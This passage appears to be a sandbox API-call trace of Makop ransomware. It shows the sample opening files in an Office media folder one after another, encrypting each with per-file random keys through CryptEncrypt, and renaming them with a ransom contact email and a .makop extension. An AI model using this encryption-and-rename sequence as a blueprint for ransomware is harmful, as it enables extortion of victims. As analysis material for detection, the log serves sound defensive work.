(in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0162.172] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0162.173] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186348.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0186348.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0186348.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0162.176] CloseHandle (hObject=0xf0) returned 1 [0162.176] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b608300, ftCreationTime.dwHighDateTime=0x1be10fe, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1b608300, ftLastWriteTime.dwHighDateTime=0x1be10fe, nFileSizeHigh=0x0, nFileSizeLow=0x4746, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0187423.WMF", cAlternateFileName="")) returned 1 [0162.176] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF") returned 61 [0162.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0187423.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0162.177] GetProcessHeap () returned 0x48a0000 [0162.177] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0162.177] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0162.177] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0162.178] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0162.182] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.182] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.182] GetProcessHeap () returned 0x48a0000 [0162.182] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0162.182] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0162.182] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.182] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0162.182] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0162.183] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0162.183] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0162.183] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0162.183] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0162.183] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.183] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.183] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.184] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x4746, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4746, lpOverlapped=0x0) returned 1 [0162.185] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4750, dwBufLen=0x4750 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4750) returned 1 [0162.186] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.186] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4750, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4750, lpOverlapped=0x0) returned 1 [0162.186] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.186] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.186] SetEndOfFile (hFile=0xf0) returned 1 [0162.193] GetProcessHeap () returned 0x48a0000 [0162.193] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0162.193] GetProcessHeap () returned 0x48a0000 [0162.193] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0162.193] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0162.193] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0187423.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0187423.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0187423.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0162.195] CloseHandle (hObject=0xf0) returned 1 [0162.195] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc36d6a00, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc36d6a00, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x31da, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195384.WMF", cAlternateFileName="")) returned 1 [0162.195] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF") returned 61 [0162.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0162.196] GetProcessHeap () returned 0x48a0000 [0162.196] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0162.197] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0162.197] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0162.197] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0162.201] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.201] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.201] GetProcessHeap () returned 0x48a0000 [0162.201] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0162.201] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0162.202] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.202] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0162.202] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0162.202] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0162.202] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0162.202] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0162.202] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0162.203] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.203] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.203] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.203] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x31da, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x31da, lpOverlapped=0x0) returned 1 [0162.205] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x31e0, dwBufLen=0x31e0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x31e0) returned 1 [0162.205] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.205] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x31e0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x31e0, lpOverlapped=0x0) returned 1 [0162.205] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.205] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x32b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.205] SetEndOfFile (hFile=0xf0) returned 1 [0162.220] GetProcessHeap () returned 0x48a0000 [0162.220] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0162.220] GetProcessHeap () returned 0x48a0000 [0162.220] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0162.220] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0162.220] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195384.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195384.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195384.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0162.226] CloseHandle (hObject=0xf0) returned 1 [0162.227] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa438000, ftCreationTime.dwHighDateTime=0x1be2705, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xfa438000, ftLastWriteTime.dwHighDateTime=0x1be2705, nFileSizeHigh=0x0, nFileSizeLow=0x275c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195534.WMF", cAlternateFileName="")) returned 1 [0162.227] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF") returned 61 [0162.227] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195534.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0162.364] GetProcessHeap () returned 0x48a0000 [0162.364] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0162.364] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0162.364] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0162.365] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0162.384] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.389] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.389] GetProcessHeap () returned 0x48a0000 [0162.389] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0162.389] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0162.389] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.389] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0162.389] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0162.390] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0162.390] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0162.390] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0162.390] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0162.390] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.390] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.390] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.390] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x275c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x275c, lpOverlapped=0x0) returned 1 [0162.392] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2760, dwBufLen=0x2760 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2760) returned 1 [0162.392] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.392] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2760, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2760, lpOverlapped=0x0) returned 1 [0162.392] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.392] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.393] SetEndOfFile (hFile=0xf0) returned 1 [0162.400] GetProcessHeap () returned 0x48a0000 [0162.400] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0162.400] GetProcessHeap () returned 0x48a0000 [0162.400] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0162.400] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0162.400] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195534.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195534.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195534.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0162.403] CloseHandle (hObject=0xf0) returned 1 [0162.403] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x455d9300, ftCreationTime.dwHighDateTime=0x1be2706, ftLastAccessTime.dwLowDateTime=0xbd4a0b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x455d9300, ftLastWriteTime.dwHighDateTime=0x1be2706, nFileSizeHigh=0x0, nFileSizeLow=0xfca, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0195812.WMF", cAlternateFileName="")) returned 1 [0162.403] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF") returned 61 [0162.403] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0195812.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0195812.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0162.405] GetProcessHeap () returned 0x48a0000 [0162.405] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0162.405] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0162.405] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0162.405] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0162.409] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.409] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.409] GetProcessHeap () returned 0x48a0000 [0162.410] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0162.410] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0162.410] CryptDestroyKey (hKey=0x48c7128) returned 1 [0162.410] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0162.410] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0162.410] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0162.410] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0162.411] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0162.411] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0162.411] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0162.411] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0162.411] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.411] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xfca, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xfca, lpOverlapped=0x0) returned 1 [0162.411] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0xfd0, dwBufLen=0xfd0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0xfd0) returned 1 [0162.412] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0162.412] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0xfd0, 